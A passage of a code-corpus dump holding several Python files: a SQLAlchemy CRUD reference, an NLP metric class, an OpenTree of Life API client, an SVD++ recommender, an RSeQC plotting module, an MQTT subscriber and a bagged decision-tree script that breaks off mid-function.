be identified by its title when printed.\n def __repr__(self):\n return \"\" % self.title\n\n# db.create_all()\nbook2 = Book(title=\"Harry Potter6\", author=\"J.K. Rowling6\", rating=9.3) #The primary key is optional.\ndb.session.add(book2)\ndb.session.commit()\n\n# Read all records\nall_books = db.session.query(Book).all()\n# Read a particular record by query\nbook = Book.query.filter_by(title=\"Harry Potter\").first()\n#Update a particular record by query\nbook_to_update = Book.query.filter_by(title=\"Harry Potter\").first()\nbook_to_update.title = \"Harry Potter and the Chamber of Secrets\"\ndb.session.commit()\n#Update a record by primary key\nbook_id = 1\nbook_to_update = Book.query.get(book_id)\nbook_to_update.title = \"Harry Potter and the Goblet of Fire\"\ndb.session.commit()\n#Delete a particular record by primary key\nbook_id = 1\nbook_to_delete = Book.query.get(book_id)\ndb.session.delete(book_to_delete)\ndb.session.commit()\n\n# db = sqlite3.connect(\"books-collection.db\")\n# cursor = db.cursor()\n# cursor.execute(\"CREATE TABLE books (id INTEGER PRIMARY KEY, title varchar(250) NOT NULL UNIQUE, author varchar(250) NOT NULL, rating FLOAT NOT NULL)\")\n# cursor.execute(\"INSERT INTO books VALUES(1, 'Harry Potter', 'J. K. Rowling', '9.3')\")\n# db.commit()\n","sub_path":"Day63_library-start/reference_for_db_CRUD.py","file_name":"reference_for_db_CRUD.py","file_ext":"py","file_size_in_byte":1778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"126908423","text":"from typing import List, Tuple\n\nfrom allennlp.training.metrics import Metric\n\nclass E2eSrlMetric(Metric):\n def __init__(self):\n self._true_positives = 0\n self._false_positives = 0\n self._false_negatives = 0\n\n def __call__(self,\n predictions: List[List[Tuple[int, Tuple[int, int, str]]]],\n gold: List[List[Tuple[int, Tuple[int, int, str]]]]) -> None:\n for batch_index in range(len(predictions)):\n prediction_set = set(predictions[batch_index])\n gold_set = set(gold[batch_index])\n intersection = prediction_set.intersection(gold_set)\n self._true_positives += len(intersection)\n self._false_positives += len(prediction_set-intersection)\n self._false_negatives += len(gold_set-intersection)\n\n def get_metric(self, reset: bool = False):\n if self._true_positives == 0:\n return 0.0\n recall = self._true_positives/(self._true_positives+self._false_negatives)\n precision = self._true_positives/(self._true_positives+self._false_positives)\n f1 = 2*precision*recall/(precision+recall)\n return f1\n","sub_path":"allennlp_models/structured_prediction/metrics/e2e_srl_metric.py","file_name":"e2e_srl_metric.py","file_ext":"py","file_size_in_byte":1166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"341371006","text":"#tree-studies service: version 1.0\nimport json\nimport time\nimport requests\nimport datetime\n\nfrom . import google_dns\n\n#===================================\nheaders = {'content-type': 'application/json'}\nopentree_base_url = \"https://api.opentreeoflife.org/v3/\"\n\n#~~~~~~~~~~~~~~~~~~~~ (OpenTree-tree_of_life)~~~~~~~~~~~~~~~~~~~~~~~~~~~\ndef get_study_ids(ottid_list):\n opentree_method_url = opentree_base_url + \"tree_of_life/induced_subtree\"\n \n payload = {\n 'ott_ids': ottid_list\t\n }\n \n jsonPayload = json.dumps(payload)\n \n #----------TO handle requests.exceptions.ConnectionError: HTTPSConnectionPool--------------\n try: \n response = requests.post(opentree_method_url, data=jsonPayload, headers=headers)\n except requests.exceptions.ConnectionError:\n alt_url = google_dns.alt_service_url(opentree_method_url)\n response = requests.post(alt_url, data=jsonPayload, headers=headers, verify=False) \n #---------------------------------------------- \n #response = requests.post(opentree_method_url, data=jsonPayload, headers=headers)\n \n studyid_result = {}\n\n try:\n result_data_json = json.loads(response.text)\n\n if response.status_code == requests.codes.ok: \n studyid_result['study_ids'] = result_data_json['supporting_studies']\n msg = \"Success\"\n statuscode = 200\n else:\n if 'message' in result_data_json:\n msg = \"OpenTree Error: \"+result_data_json['message']\n else:\n msg = \"OpenTreeofLife API Error: Response error while getting study ids\"\n \n except ValueError:\n msg = \"OpenTreeofLife API Error: Could not decode json response\"\n\n statuscode = response.status_code\n \n studyid_result['message'] = msg\n studyid_result['status_code'] = statuscode\n\n return studyid_result\n\n#------------------------(OpenTree-studies)------------------------------\ndef get_study_info(studyid):\n opentree_method_url = opentree_base_url + \"studies/find_studies\"\n \n payload = {\n 'property': 'ot:studyId',\n 'value': studyid,\n 'verbose': True\t\n }\n \n jsonPayload = json.dumps(payload)\n \n #----------TO handle requests.exceptions.ConnectionError: HTTPSConnectionPool--------------\n try: \n response = requests.post(opentree_method_url, data=jsonPayload, headers=headers)\n except requests.exceptions.ConnectionError:\n alt_url = google_dns.alt_service_url(opentree_method_url)\n response = requests.post(alt_url, data=jsonPayload, headers=headers, verify=False) \n \n #response = requests.post(opentree_method_url, data=jsonPayload, headers=headers)\n \n studyinfo_result = {}\n result_data_json = json.loads(response.text)\n\n if response.status_code == requests.codes.ok: \n \n if (len(result_data_json['matched_studies']) == 0):\n studyinfo_result['message'] = \"No matching study found\"\n studyinfo_result['status_code'] = 200\n else: \n if ('ot:studyPublicationReference' in result_data_json['matched_studies'][0]):\n studyinfo_result['Publication'] = result_data_json['matched_studies'][0]['ot:studyPublicationReference']\n else:\n studyinfo_result['Publication'] = \"\"\n if ('ot:studyId' in result_data_json['matched_studies'][0]):\n studyinfo_result['PublicationIdentifier'] = result_data_json['matched_studies'][0]['ot:studyId']\n else:\n studyinfo_result['PublicationIdentifier'] = studyid\n if ('ot:curatorName' in result_data_json['matched_studies'][0]):\n studyinfo_result['Curator'] = result_data_json['matched_studies'][0]['ot:curatorName']\n else:\n studyinfo_result['Curator'] = \"\"\n if ('ot:studyYear' in result_data_json['matched_studies'][0]):\n studyinfo_result['PublicationYear'] = result_data_json['matched_studies'][0]['ot:studyYear']\n else:\n studyinfo_result['PublicationYear'] = \"\"\n if ('ot:focalCladeOTTTaxonName' in result_data_json['matched_studies'][0]):\n studyinfo_result['FocalCladeTaxonName'] = result_data_json['matched_studies'][0]['ot:focalCladeOTTTaxonName']\n else:\n studyinfo_result['FocalCladeTaxonName'] = \"\"\n if ('ot:studyPublication' in result_data_json['matched_studies'][0]):\n studyinfo_result['PublicationDOI'] = result_data_json['matched_studies'][0]['ot:studyPublication']\n else:\n studyinfo_result['PublicationDOI'] = \"\"\n if ('ot:dataDeposit' in result_data_json['matched_studies'][0]):\n studyinfo_result['DataRepository'] = result_data_json['matched_studies'][0]['ot:dataDeposit']\n else:\n studyinfo_result['DataRepository'] = \"\"\n if ('ot:candidateTreeForSynthesis' in result_data_json['matched_studies'][0]):\n studyinfo_result['CandidateTreeForSynthesis'] = result_data_json['matched_studies'][0]['ot:candidateTreeForSynthesis']\n else:\n studyinfo_result['CandidateTreeForSynthesis'] = \"\"\n \n studyinfo_result['message'] = \"Success\"\n studyinfo_result['status_code'] = 200\n else: \n if 'message' in result_data_json:\n studyinfo_result['message'] = \"OpenTree Error: \"+result_data_json['message']\n else:\n studyinfo_result['message'] = \"Error: Response error while getting study info from OpenTreeofLife\"\n \n studyinfo_result['status_code'] = response.status_code\n \n\n return studyinfo_result\n\n#----------------------------------------------------\ndef get_studies(studyid_list):\n start_time = time.time()\n studies_list = []\n study_ids = [study[:study.find(\"@\")] for study in studyid_list]\n for studyid in study_ids:\n study_info = get_study_info(studyid)\n if study_info['status_code'] == 200:\n msg = study_info['message']\n status = study_info['status_code']\n #delete status keys from dictionary \n del study_info['status_code']\n del study_info['message']\n studies_list.append(study_info)\n else:\n msg = study_info['message']\n status = study_info['status_code']\n break \n\n end_time = time.time()\n execution_time = end_time-start_time\n #service result creation time\n creation_time = datetime.datetime.now().isoformat()\n meta_data = {'creation_time': creation_time, 'execution_time': float('{:4.2f}'.format(execution_time)), 'source_urls':[\"https://github.com/OpenTreeOfLife/opentree/wiki/Open-Tree-of-Life-APIs#studies\"] }\n\n response = {'studies':studies_list, 'message': msg, 'status_code': status , 'meta_data': meta_data}\n\n return response\n\n#----------------------------------------------------\ndef get_studies_from_ids(id_list, is_ottid=True):\n start_time = time.time()\n studies_info = {}\n if is_ottid: #check whether the id_list is a list of ott ids or not\n study_id_list_json = get_study_ids(id_list)\n if study_id_list_json['status_code'] == 200:\n study_id_list = study_id_list_json['study_ids']\n studies_info_resp = get_studies(study_id_list)\n studies_info['studies'] = studies_info_resp['studies'] \n if studies_info_resp['status_code'] != 200:\n studies_info['message'] = studies_info_resp['message']\n studies_info['status_code'] = studies_info_resp['status_code']\n else:\n studies_info['message'] = \"Success\"\n studies_info['status_code'] = 200\n else:\n studies_info['studies'] = []\n studies_info['message'] = study_id_list_json['message']\n studies_info['status_code'] = study_id_list_json['status_code']\n else: #when study ids are given directly\n studies_info_resp = get_studies(id_list)\n studies_info['studies'] = studies_info_resp['studies'] \n if studies_info_resp['status_code'] != 200:\n studies_info['message'] = studies_info_resp['message']\n studies_info['status_code'] = studies_info_resp['status_code']\n else:\n studies_info['message'] = \"Success\"\n studies_info['status_code'] = 200\n \n end_time = time.time()\n execution_time = end_time-start_time\n #service result creation time\n creation_time = datetime.datetime.now().isoformat()\n meta_data = {'creation_time': creation_time, 'execution_time': float('{:4.2f}'.format(execution_time)), 'source_urls':[\"https://github.com/OpenTreeOfLife/opentree/wiki/Open-Tree-of-Life-APIs#studies\"] }\n\n studies_info['meta_data'] = meta_data\n\n return studies_info\n \n\n#-------------------(OpenTree-TNRS)-----------------------------\ndef get_ott_ids(taxa, context=None):\n opentree_method_url = opentree_base_url + \"tnrs/match_names\"\n \n payload = {\n 'names': taxa\n }\n if context is not None:\n payload['context_name'] = context\n\n jsonPayload = json.dumps(payload)\n \n #----------TO handle requests.exceptions.ConnectionError: HTTPSConnectionPool--------------\n try: \n response = requests.post(opentree_method_url, data=jsonPayload, headers=headers)\n except requests.exceptions.ConnectionError:\n alt_url = google_dns.alt_service_url(opentree_method_url)\n response = requests.post(alt_url, data=jsonPayload, headers=headers, verify=False) \n #response = requests.post(opentree_method_url, data=jsonPayload, headers=headers)\n \n ott_id_list = []\n ott_id_result = {}\n\n result_data_json = json.loads(response.text)\n if response.status_code == requests.codes.ok: \n result_list = result_data_json['results'] \n for result in result_list:\n match_list = result['matches']\n for match in match_list:\n if float(match['score']) >= 0.75:\n ott_id_list.append(match['taxon']['ott_id'])\n break\n\n ott_id_result['ott_ids'] = ott_id_list\t\n ott_id_result['status_code'] = 200\n ott_id_result['message'] = \"Success\"\n else:\n ott_id_result['ott_ids'] = ott_id_list\t\n ott_id_result['status_code'] = response.status_code\n if 'message' in result_data_json:\n ott_id_result['message'] = \"OpenTree Error: \"+result_data_json['message']\n else:\n ott_id_result['message'] = \"Error: getting ott ids from OpenTreeofLife\"\n \n return ott_id_result\n\n#----------------------------------------------------------\ndef get_studies_from_names(taxa_list, context=None):\n start_time = time.time()\n ottidlist_json = get_ott_ids(taxa_list, context)\n studies_info = {}\n if ottidlist_json['status_code'] != 200: \n final_result = ottidlist_json \n else:\n study_id_list_json = get_study_ids(ottidlist_json['ott_ids'])\n if study_id_list_json['status_code'] == 200:\n studies_info_resp = get_studies(study_id_list_json['study_ids'])\n studies_info['studies'] = studies_info_resp['studies'] \n if studies_info_resp['status_code'] != 200:\n studies_info['message'] = studies_info_resp['message']\n studies_info['status_code'] = studies_info_resp['status_code']\n else:\n studies_info['message'] = \"Success\"\n studies_info['status_code'] = 200 \n else:\n studies_info['studies'] = []\n studies_info['message'] = study_id_list_json['message']\n studies_info['status_code'] = study_id_list_json['status_code']\n\n final_result = studies_info\n \n end_time = time.time()\n execution_time = end_time-start_time\n creation_time = datetime.datetime.now().isoformat()\n meta_data = {'creation_time': creation_time, 'execution_time': float('{:4.2f}'.format(execution_time)), 'source_urls':[\"https://github.com/OpenTreeOfLife/opentree/wiki/Open-Tree-of-Life-APIs#studies\"] }\n\n final_result['meta_data'] = meta_data\n\n return final_result\n \n#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n#if __name__ == '__main__':\n \t\n \t#idlist = [\"pg_1428@tree2855\",\"ot_328@tree1\",\"pg_2685@tree6235\",\"pg_1981@tree4052\",\"ot_278@tree1\"]\t\n \t#print get_studies(idlist)\n","sub_path":"Phylo_Dockers/tree_retrieval/service/tree_studies_service.py","file_name":"tree_studies_service.py","file_ext":"py","file_size_in_byte":12309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"466477416","text":"import numpy as np \r\nimport datetime\r\nfrom optimizer2 import *\r\nimport os\r\n\r\n# print(\"svdpp v2 imported\")\r\n\r\nclass SVDPP():\r\n def __init__(self,M,N,K):\r\n \"\"\" \r\n M: number of users; \r\n N: number of items; \r\n K: number of dimensions\r\n \"\"\"\r\n self.M = M\r\n self.N = N\r\n self.K = K\r\n self.A = 0\r\n self.Bi = np.random.rand(self.M).astype('float32')\r\n self.Bj = np.random.rand(self.N).astype('float32')\r\n self.U = np.random.rand(self.M,self.K).astype('float32')\r\n self.V = np.random.rand(self.K,self.N).astype('float32')\r\n self.A = 5 - np.mean(self.Bi[0] + self.Bj + np.dot(self.U[0],self.V))\r\n print(\"model svd++ | M:\",self.M,\"N:\",self.N,\"K:\",self.K, \"A: \",self.A)\r\n\r\n\r\n def fit(self,data,valid,optimizer,lam=1.0,epochs=10):\r\n print(\"training | lambda:\",lam,end=' ')\r\n print(\"optimizer:\",optimizer)\r\n if isinstance(optimizer,RMSPROP):\r\n optimizer.initialize([(1,),self.Bi.shape,self.Bj.shape,self.U.shape, self.V.shape])\r\n\r\n for e in range(epochs):\r\n dU = np.array([ [0.0] * self.K ] * self.M).astype('float32')\r\n dV = np.array([ [0.0] * self.N ] * self.K).astype('float32')\r\n dBi= np.array([ 0.0 ] * self.M).astype('float32')\r\n dBj= np.array([ 0.0 ] * self.N).astype('float32')\r\n dA = 0\r\n for i,j,r in data:\r\n r_ = self.A + self.Bi[i] + self.Bj[j] + np.dot(self.U[i,...], self.V[...,j]) - r\r\n dA += r_\r\n dBi[i] += r_\r\n dBj[j] += r_\r\n dU[i,...] += (np.dot(self.U[i,...], self.V[...,j]) - r) * self.V[...,j]\r\n dV[...,j] += (np.dot(self.U[i,...], self.V[...,j]) - r) * self.U[i,...]\r\n dBi+= lam * self.Bi\r\n dBj+= lam * self.Bj\r\n dU += lam * self.U\r\n dV += lam * self.V\r\n optimizer.optimize([dA,dBi,dBj,dU,dV],[self.A,self.Bi,self.Bj,self.U,self.V])\r\n\r\n # self.A -= lr * 0.001 * dA\r\n # self.Bi-= lr * dBi\r\n # self.Bj-= lr * dBj\r\n # self.U -= lr * dU\r\n # self.V -= lr * dV\r\n\r\n train_mse = self.validate(data)\r\n valid_mse = self.validate(valid)\r\n print(\"epoch:\",e+1,\"/\",epochs,\"train mse:\",train_mse,\"valid mse:\",valid_mse)\r\n\r\n def validate(self,data):\r\n se = 0\r\n for i,j,r in data:\r\n se += (self.A + self.Bi[i] + self.Bj[j] + np.dot(self.U[i,...], self.V[...,j]) - r) ** 2\r\n return se / len(data)\r\n\r\n def predict(self,i,j):\r\n return self.A + self.Bi[i] + self.Bj[j] + np.dot(self.U[i,...], self.V[...,j])\r\n\r\n\r\n def save(self,path):\r\n if os.path.exists(path):\r\n os.mkdir(path)\r\n open(os.path.join(path,\"A++\"),\"w\").write(repr(self.A))\r\n np.save(os.path.join(path,\"Bi++\"),self.Bi)\r\n np.save(os.path.join(path,\"Bj++\"),self.Bj)\r\n np.save(os.path.join(path,\"U++\"),self.U)\r\n np.save(os.path.join(path,\"V++\"),self.V)\r\n print(\"model saved\")\r\n\r\n def load(self,path):\r\n try:\r\n self.A = eval(open(os.path.join(path,\"A++\")).read())\r\n self.Bi= np.load(os.path.join(path,\"Bi++.npy\"))\r\n self.Bj= np.load(os.path.join(path,\"Bj++.npy\"))\r\n self.U = np.load(os.path.join(path,\"U++.npy\"))\r\n self.V = np.load(os.path.join(path,\"V++.npy\"))\r\n print(\"load model\")\r\n except:\r\n pass\r\n\r\n\r\ndef main():\r\n users = set()\r\n items = set()\r\n data = eval(open(\"../reviews2014\").read())\r\n for time,user,item,rate in data:\r\n users.add(user)\r\n items.add(item)\r\n items = list(items)\r\n items.sort()\r\n users = list(users)\r\n users.sort()\r\n uidx = dict(zip(users,range(len(users))))\r\n iidx = dict(zip(items,range(len(items))))\r\n\r\n data = [(uidx[u],iidx[i],r) for t,u,i,r in data]\r\n M = len(users)\r\n N = len(items)\r\n K = 15\r\n\r\n half = len(data) // 2\r\n quarter = len(data) // 4\r\n train = data[:half]\r\n valid = data[half:half+quarter]\r\n test = data[half+quarter:]\r\n\r\n model = SVDPP(M,N,K)\r\n\r\n # mse = model.validate(data)\r\n # print(\"mse on train:\",mse)\r\n\r\n # model.load()\r\n optimizer = RMSPROP()\r\n model.fit(train,valid,optimizer,lam=6,epochs=10)\r\n # model.save()\r\n\r\n mse = model.validate(data)\r\n print(\"mse on train:\",mse)\r\n\r\n\r\nif __name__ == '__main__':\r\n main()","sub_path":"svdpp2.py","file_name":"svdpp2.py","file_ext":"py","file_size_in_byte":4458,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"139327407","text":"# Copyright (C) 2015 by Per Unneberg\nimport os\nimport re\nimport io\nimport pandas as pd\nimport jinja2\nimport numpy as np\nfrom bokeh.models import HoverTool, ColumnDataSource, BoxSelectTool\nfrom bokeh.models.widgets import VBox, HBox, TableColumn, DataTable\nfrom bokeh.plotting import figure, output_file, show, gridplot\nfrom bokeh.palettes import brewer\nfrom snakemakelib.log import LoggerManager\nfrom snakemakelib.bokeh.plot import scatterplot, QCArgs\n\nsmllogger = LoggerManager().getLogger(__name__)\n\ndef collect_rseqc_results(inputfiles, samples):\n \"\"\"Collect rseqc results\"\"\"\n first = True\n df_rd = df_gc = None\n for (f, s) in zip(inputfiles, samples):\n smllogger.debug(\"parsing input file {f} for sample {s}\".format(f=f, s=s))\n try:\n infile = os.path.join(os.path.dirname(f), \"read_distribution.txt\")\n with open(infile, \"r\") as fh:\n data = fh.readlines()\n d1 = io.StringIO(\"\".join([re.sub(r\"(\\w) (\\w)\", r\"\\1_\\2\", x) for x in data[3:6]]))\n tmp = pd.read_table(d1, engine=\"python\", sep=\"[ ]+\", header=None)\n tmp.columns = [\"Group\", \"Tag_count\"]\n tmp[\"Total_bases\"] = \"NA\"\n tmp[\"Tags/Kb\"] = \"NA\"\n d2 = io.StringIO(\"\".join(data[7:17]))\n df_rd_tmp = pd.read_table(d2, engine=\"python\", sep=\"[ ]+\")\n df_rd_tmp = df_rd_tmp.append(tmp)\n df_rd_tmp[\"sample\"] = s\n except:\n smllogger.warn(\"pandas reading table {f} failed\".format(f=infile))\n try:\n infile = os.path.join(os.path.dirname(f), \"geneBody_coverage.geneBodyCoverage.txt\")\n df_gc_tmp = pd.read_table(infile, engine=\"python\", sep=\"\\t\")\n df_gc_tmp.index = [s]\n except:\n smllogger.warn(\"pandas reading table {f} failed\".format(f=infile))\n try:\n if first:\n df_rd = df_rd_tmp\n df_gc = df_gc_tmp\n first = False\n else:\n df_rd = df_rd.append(df_rd_tmp)\n df_gc = df_gc.append(df_gc_tmp)\n except:\n smllogger.warn(\"failed to append data\")\n return {'rd': df_rd, 'gc':df_gc}\n\ndef make_rseqc_summary_plots(df_rd, df_gc, do_qc=True, min_exonmap=60.0, max_three_prime_map=10.0):\n \"\"\"Make rseqc summary plots\"\"\"\n samples = list(df_gc.index)\n # Use tags for formula \n df = df_rd.pivot_table(columns=[\"Group\"], values=[\"Tag_count\"], index=\"sample\")\n df['Tag_count', \"ExonMap\"] = 100.0 * (df['Tag_count', \"CDS_Exons\"] + df['Tag_count', \"3'UTR_Exons\"] + df['Tag_count', \"5'UTR_Exons\"]) / df['Tag_count', \"Total_Assigned_Tags\"]\n\n df.columns = df.columns.droplevel()\n df['i'] = list(range(0, len(df.index)))\n df['samples'] = samples\n df_gc[\"three_prime_map\"] = 100.0 * df_gc.loc[:, \"91\":\"100\"].sum(axis=1) / df_gc.loc[:, \"1\":\"100\"].sum(axis=1)\n df = pd.concat([df, df_gc], axis=1)\n\n colors = brewer[\"PiYG\"][3]\n colormap = {'False' : colors[0], 'True' : colors[2]}\n columns = [\n TableColumn(field=\"samples\", title=\"Sample\"),\n TableColumn(field=\"ExonMap\", title=\"Tags mapping to exons (%)\"),\n TableColumn(field=\"3' Map\", title=\"Tags mapping to 3' end (%)\"),\n ]\n source = ColumnDataSource(df)\n\n # Default tools, plot_config and tooltips\n TOOLS=\"pan,box_zoom,box_select,lasso_select,reset,save,hover\"\n plot_config=dict(plot_width=300, plot_height=300, \n tools=TOOLS, title_text_font_size='12pt',\n x_range=[0, len(samples)], y_range=[0, 105],\n x_axis_type=None, y_axis_type=\"linear\", \n xaxis={'axis_label' : \"sample\", 'major_label_orientation' : np.pi/3, 'axis_label_text_font_size' : '10pt'}, \n yaxis={'axis_label' : \"percent (%)\", 'major_label_orientation' : 1, 'axis_label_text_font_size' : '10pt'})\n\n # Exonmap plot\n qc = QCArgs(x=[0,len(samples)], \n y=[min_exonmap, min_exonmap], \n line_dash=[2,4]) if do_qc else None\n c1 = list(map(lambda x: colormap[str(x)], \n df['ExonMap'] < min_exonmap)) if do_qc else colors[0]\n p1 = scatterplot(x='i', y='ExonMap', \n source=source, color=c1, qc=qc, \n tooltips = [{'type':HoverTool, 'tips' : [\n ('Sample', '@samples'),('ExonMap', '@ExonMap'),]}], \n title=\"Tags mapping to exons\", **plot_config)\n # Fraction reads mapping to the 10% right-most end\n qc = QCArgs(x=[0,len(samples)], \n y=[max_three_prime_map, max_three_prime_map], \n line_dash=[2,4]) if do_qc else None\n c2 = list(map(lambda x: colormap[str(x)], \n df['three_prime_map'] > max_three_prime_map)) if do_qc else colors[0]\n p2 = scatterplot(x = 'i', y = 'three_prime_map', \n color = c2, source = source, \n qc=qc,\n tooltips = [{'type':HoverTool, 'tips' : [\n ('Sample', '@samples'),('ExonMap', '@ExonMap'),]}], \n title=\"Reads mapping to 3' end\", **plot_config)\n\n return {'plots' : gridplot([[p1, p2]])}\n","sub_path":"snakemakelib/bio/ngs/qc/rseqc.py","file_name":"rseqc.py","file_ext":"py","file_size_in_byte":5174,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"602237642","text":"import paho.mqtt.client as mqtt\n\ndef on_connect(client, userdata, flags, rc):\n\tprint(\"connected result code \" + str(rc))\n\tclient.subscribe(\"test/phone\")\n\ndef on_message(client, userdata, msg):\n\tprint(\"Topic: \" + msg.topic + \" Message: \" + str(msg.payload))\n\nclient = mqtt.Client()\n\nclient.on_connect = on_connect\nclient.on_message = on_message\n\nclient.connect(\"115.20.144.97\", 11183, 60)\n\ntry:\n\tclient.loop_forever()\n\nexcept KeyboardInterrupt:\n\tprint(\"Finished\")\n\tclient.unsubscribe([\"test/phone\"])\n\tclient.disconnect()\n","sub_path":"testcode/mqttBrokertest/sub.py","file_name":"sub.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"27622654","text":"# -*- coding: utf-8 -*-\n\"\"\"\nAdam Sorensen\nMachine Learning Fall 2017\nUniversity of Utah\nBagged trees implementation\n\"\"\"\n\nSIZE = 67693\nimport math\nfrom random import randint\n\nCOUNT = 0\n\nclass Node:\n def __init__(self, element):\n #self.key = key\n self.element = element\n self.yes = None\n self.no = None\n\n def getEl(self):\n return self.element\n\n def getYes():\n return self.yes\n \n def getNo():\n return self.no\n \nclass dataPoint:\n def __init__(self, data, label):\n self.data = data\n self.label =label\n \n def getData(self):\n return self.data\n \n def getLabel(self):\n return self.label\n \n \ndef bagged_trees(data, labels, Tdata, Tlabels):\n points = make_data_points(data, labels)\n testPoints = make_data_points(Tdata, Tlabels)\n \n depth = 3\n#==============================================================================\n# r = ID3main(points, depth)\n# a, l = testData(testPoints, r, depth)\n# print(a)\n#==============================================================================\n \n \n trees = train_trees(1000, points, depth)\n a = test_trees(trees, testPoints)\n print(\"test accuracy: \" + str(a))\n a = test_trees(trees, points)\n print(\"train accuracy: \" + str(a))\n #print(type(points[0].getLabel()))\n \n # train 1000 trees\n \n \ndef train_trees(amount, points, depth):\n trees = []\n size = len(points)\n randomPoints = []\n for i in range(0, amount):\n if i % 100 == 0:\n print(\"have created \" + str(i) + \"trees\")\n randomPoints[:] = []\n for n in range(0, 100):\n m = randint(0, size - 1)\n randomPoints.append(points[m])\n \n t = ID3main(randomPoints, depth)\n trees.append(t)\n \n \n return trees\n \n \ndef test_trees(trees, points):\n size = len(points)\n for p in points:\n p = 0\n n = 0\n correct = 0\n label = p.getLabel()\n for t in trees:\n l = traverse_tree(p, t, 4)\n if l == 1:\n p = p + 1\n else:\n n = n + 1\n if p > n and label == 1:\n correct = correct + 1\n elif n > p and label == -1:\n correct = correct + 1\n else:\n pass\n ac = correct/float(size)\n return ac\n \ndef traverse_tree(data, r, depth):\n n = r\n for i in range(0, depth):\n e = n.element\n if e == '-1' or e =='1':\n if e == '1':\n return 1\n else:\n return -1\n if str(e) in data.getData():\n n = n.yes\n else:\n n = n.no\n \n \n \n \ndef make_data_points(data, labels):\n points = []\n i = 0\n for d in data:\n l = str(labels[i])\n x = dataPoint(d, l)\n points.append(x)\n i = i + 1\n \n return points\n \n \n \ndef getAllPosNeg(points):\n \n pos = []\n neg = []\n for p in points:\n if p.getLabel() == '1':\n pos.append(p)\n else:\n neg.append(p)\n\n return pos, neg\n \ndef posNeg(points, A):\n pos = []\n neg = []\n \n i = 0\n for p in points:\n if A[i] == 1:\n pos.append(p)\n else:\n neg.append(p)\n i = i + 1\n \n return pos, neg\n \ndef getEntropy(pos, neg):\n psize = len(pos)\n nsize = len(neg)\n allsize = psize + nsize\n \n \n pfrac = (psize/float(allsize))\n nfrac = (nsize/float(allsize))\n if pfrac == 0 or nfrac == 0:\n return 0\n \n e = (pfrac * -1) * math.log(pfrac, 2) - nfrac * math.log(nfrac, 2)\n return e\n \ndef findCommonLabel(points):\n pos = 0\n neg = 0\n for p in points:\n if p.getLabel() == '1':\n pos = pos + 1\n else:\n neg = neg + 1\n if pos >= neg:\n return '1'\n else:\n return '-1'\n \n\ndef ID3main(points, maxDepth):\n attributes = []\n for i in range(1, SIZE):\n attributes.append(i)\n global COUNT\n COUNT = 0\n \n root = ID3rec(points, attributes, maxDepth)\n return root\n \n \ndef ID3rec(points, attributes, maxDepth):\n global COUNT\n #print(COUNT)\n \n commonLabel = findCommonLabel(points)\n x = COUNT\n if x > maxDepth:\n return Node(commonLabel)\n \n \n pos, neg = getAllPosNeg(points)\n first = points[0].getLabel()\n \n flag = False\n for p in points:\n if p.getLabel() == first:\n flag = True\n else:\n flag = False\n break\n \n if(flag):\n COUNT = COUNT - 1\n return Node(first)\n else:\n # make root node\n if len(attributes) == 0:\n COUNT = COUNT - 1\n return Node(commonLabel)\n else:\n entropy = getEntropy(pos, neg)\n e = getBestAttribute(points, attributes, entropy)\n \n #s = attributes.get(e)\n A = []\n for p in points:\n d = p.getData()\n if str(e) in d:\n A.append(1)\n else:\n A.append(0)\n \n \n newAttributes = attributes[:]\n \n \n root = Node(e)\n \n # yes and no are sets divided whether A is 1 or 0\n yes, no = posNeg(points, A)\n \n if len(yes) == 0:\n COUNT = COUNT - 1\n root.yes = Node(commonLabel)\n else:\n COUNT = COUNT + 1\n root.yes = ID3rec(yes, newAttributes, maxDepth)\n \n if len(no) == 0:\n COUNT = COUNT - 1\n root.no = Node(commonLabel)\n else:\n COUNT = COUNT + 1\n root.no = ID3rec(no, newAttributes, maxDepth) \n \n COUNT = COUNT - 1\n return root\n \n \ndef getBestAttribute(points, attributes, e):\n labels = []\n for p in points:\n labels.append(p.getLabel())\n \n #testAttributes = list(attributes.keys())\n m = -0.2\n element = 1\n for i in range(1, SIZE):\n if i in attributes:\n feature = []\n for p in points:\n d = p.getData()\n if str(i) in d:\n feature.append(1)\n else:\n feature.append(0)\n \n \n info = getInfoGain(feature, labels, e)\n \n if m < info:\n m = info\n element = i\n else:\n pass\n return element\n \n \ndef getInfoGain(feature, labels, eAll):\n size = len(feature)\n size2 = len(labels)\n \n # feature, label\n yy = 0\n yn = 0\n ny = 0\n nn = 0\n \n for i in range(0, size2):\n if (labels[i] == '1'):\n if feature[i] == 1:\n yy = yy + 1\n else:\n ny = ny + 1\n else:\n if feature[i] == 1:\n yn = yn + 1\n else:\n nn = nn + 1\n totalyes = yy + yn\n totalno = ny + nn\n \n if totalyes == 0:\n temp1 = 0\n temp2 = 0\n else:\n temp1 = yy/float(totalyes)\n temp2 = yn/float(totalyes)\n \n #print(yy, yn, ny, nn)\n\n if temp1 == 0 or temp2 == 0:\n e1 = 0\n else:\n e1 = (temp1 * -1) * math.log(temp1, 2) - (temp2 * math.log(temp2, 2))\n \n if totalno == 0:\n temp1 = 0\n temp2 = 0\n else:\n temp1 = ny/float(totalno)\n temp2 = nn/float(totalno)\n \n if temp1 == 0 or temp2 == 0:\n e2 = 0\n else:\n e2 = (temp1 * -1) * math.log(temp1, 2) - (temp2 * math.log(temp2, 2))\n \n temp1 = totalyes/float(size)\n temp2 = totalno/float(size)\n \n eExpected = (temp1 * e1) + (temp2*e2)\n infoGain = eAll - eExpected\n \n return infoGain\n \ndef traverseTree(data, r, depth):\n n = r\n for i in range(0, depth):\n e = n.element\n if e == '-1' or e =='1':\n if data.getLabel() == e:\n return 1\n else:\n return 0\n if str(e) in data.getData():\n n = n.yes\n else:\n n = n.no\n \n \ndef getDepth(root):\n d = height(root)\n return d\n \n \ndef height(n):\n if (n.yes == None and n.no == None):\n return 0\n else:\n return max(height(n.yes), height(n.no)) + 1\n \n \n \n \ndef testData(points, r, depth):\n correct = 0\n incorrect = 0\n labels = 